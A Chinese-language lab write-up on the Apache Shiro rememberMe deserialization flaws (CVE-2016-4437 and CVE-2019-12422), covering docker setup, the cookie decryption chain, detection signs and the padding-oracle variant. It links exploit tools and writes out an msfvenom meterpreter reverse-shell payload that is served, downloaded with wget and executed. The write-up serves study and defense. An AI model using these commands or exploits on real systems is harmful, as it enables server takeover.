一、shiro介绍

Apache Shiro是一个强大易用的Java安全框架,提供了认证、授权、加密和会话管理等功能。Shiro框架直观、易用,同时也能提供健壮的安全性。

二、shiro550漏洞(CVE-2016-4437)

2.2 环境搭建

1
2
3
4
拉取docker镜像
docker pull medicean/vulapps:s_shiro_1
启动docker镜像
docker run -d -p 8081:8080 medicean/vulapps:s_shiro_1

2.2 漏洞原理

Apache Shiro框架提供了记住密码的功能(RememberMe),用户登录成功后会生成经过加密并编码的cookie。在服务端对rememberMe的cookie值,先base64解码然后AES解密再反序列化,就导致了反序列化RCE漏洞。

产生原因:shiro接受了Cookie里面rememberMe的值,然后去进行Base64解密后,再使用aes密钥解密后的数据,进行反序列化。

利用方式:我们需要构造Cookie里面rememberMe的值,先payload,再序列化,再AES加密,再Base64编码,最后发送数据包,代码详细参考

rememberMe值 -> Base64解密 -> AES解密 -> 调用readobject反序列化操作

2.3 漏洞危害

影响版本:Apache Shiro < 1.2.4

服务器权限丢失

2.4 漏洞发现

特征:返回包中包含rememberMe=deleteMe字段


https://github.com/feihong-cs/ShiroExploit
https://github.com/SummerSec/ShiroAttack2/releases/tag/4.7.0
爆破key

后续就自动化上工具利用吧

root权限

1
2
3
4
5
msfvenom -p linux/x64/meterpreter/reverse_tcp LHOST=192.168.40.20 LPORT=6666 -f elf -o /root/1.elf    生成木马
python -m http.server 8888 -d . python起一个本地web服务
wget http://192.168.40.20:8888/1.elf -o 1 远程下载木马
chmod +x 1 给执行权限
./1 执行上线

可以互通


成功上线到msf,后面就后渗透那一套

2.5 漏洞分析

  • 首先正常登录,然后生成带有rememberme的返回cookie值

生成cookie

  • shiro会提供rememberme功能,可以通过cookie记录登录用户身份认证信息,即下次无需登录即可访问。处理rememberme的cookie的类为org.apache.shiro.web.mgt.CookieRememberMeManager

  • 之后进入serialize,对登录认证信息进行序列化

  • 然后加密,调用AES算法

  • 加密结束,然后在org/apache/shiro/web/mgt/CookieRememberMeManager.java的rememberSerializedIdentity方法中进行base64编码,并通过response返回
    解析cookie

  • 先解密再反序列化

  • AES是对称加密,加解密密钥都是相同的,并且shiro都是将密钥硬编码

  • 调用crypt方法利用密文,key,iv进行解密,解密完成后进入反序列化,看上面的public AbstractRememberMeManager()这里用的是默认反序列化类,然后触发生成反序列化漏洞

2.6 代码调用分析

代码下载地址

  1. 得到cookie并进行base64解码
  2. 继续跟调用
  3. 找到AES解密和反序列化调用
  4. 先看解密函数
  5. 密钥的赋值链条




    得到是一个常量,即为base64编码的密钥key
  6. 反序列化线路


    shiro中重写了ObjectInputStream类的resolveClass函数,ObjectInputStreamresolveClass方法用的是Class.forName类获取当前描述器所指代的类的Class对象。而重写后的resolveClass方法,采用的是ClassUtils.forName
    在传参的地方如果传入一个Transform数组的参数,会报错,所以并不支持传入数组类型
    关于反序列化链的利用,详细可以看看这个文章:
    shiro反序列化-CB链利用 - FreeBuf网络安全行业门户
  7. 需要注意的点
    如果已经登录吧session删掉

2.7 数据包分析

这个Remember Me的功能

  1. 不勾选并正确登录
    第一个数据包,提交数据的包

    后续数据包,均没特征
  2. 勾选并正确登录
    第一个数据包,提交数据的包

    后续数据包,都会带上这一段cookie(这就是我们利用的点)
  3. 爆破数据包特征

    数据包特征
  4. 爆破成功数据包特征(面试问到,就研究一下)
    我们先拿一个错的检测

    第一个数据包(检测是否shiro框架的,不用管)

    第二个数据包

    再拿一个对的检测

    第一个数据包 依旧一样(不用管)

    第二个数据包
  5. 命令执行数据回显

  6. 结论
  • 登陆失败的话,不管勾选RememberMe字段没有,返回包都会有rememberMe=deleteMe字段
  • 不勾选RememberMe字段,登陆成功的话,返回包set-Cookie会有rememberMe=deleteMe字段。但是之后的所有请求中Cookie都不会有rememberMe字段
  • 勾选RememberMe字段,登陆成功的话,返回包set-Cookie会有ememberMe=deleteMe字段,还会有rememberMe字段,之后的所有请求中Cookie都会有rememberMe字段

三、shiro721漏洞(CVE-2019-12422)

3.1 漏洞介绍

在1.4.2之前的Apache Shiro,当使用默认的 “rememberMe “配置时,cookies可能容易受到填充攻击,即上面提到的shiro550

Shiro之后的Apache Shiro,跟shiro其实没太大安全问题,主要是对加密方式的攻击,即shiro721

  • shiro-721用到的加密方式是AES-128-CBC,而且其中的ase加密的key基本猜不到了,是系统随机生成的
  • 这种加密方式容易受到Padding Oracle Attack(填充提示攻击),利用有效的RememberMe Cookie作为Padding Oracle Attack的前缀,然后构造 RememberMe Cookie 值来实现反序列化漏洞攻击

3.2 漏洞利用的条件

  1. 合法用户的cookie中获取RememberMe值
  2. 攻击者能够获取到密文(基于分组密码模式),以及IV向量(通常附带在密文前面,初始化向量)
  3. 攻击者能够修改密文触发解密过程,解密成功和解密失败存在差异性

3.3 漏洞成因

参考加密算法的填充攻击
Padding Oracle Attack(填充提示攻击)详解及验证 - 简书 (jianshu.com)

3.4 漏洞复现

shiro反序列化漏洞原理分析以及漏洞复现 - FreeBuf网络安全行业门户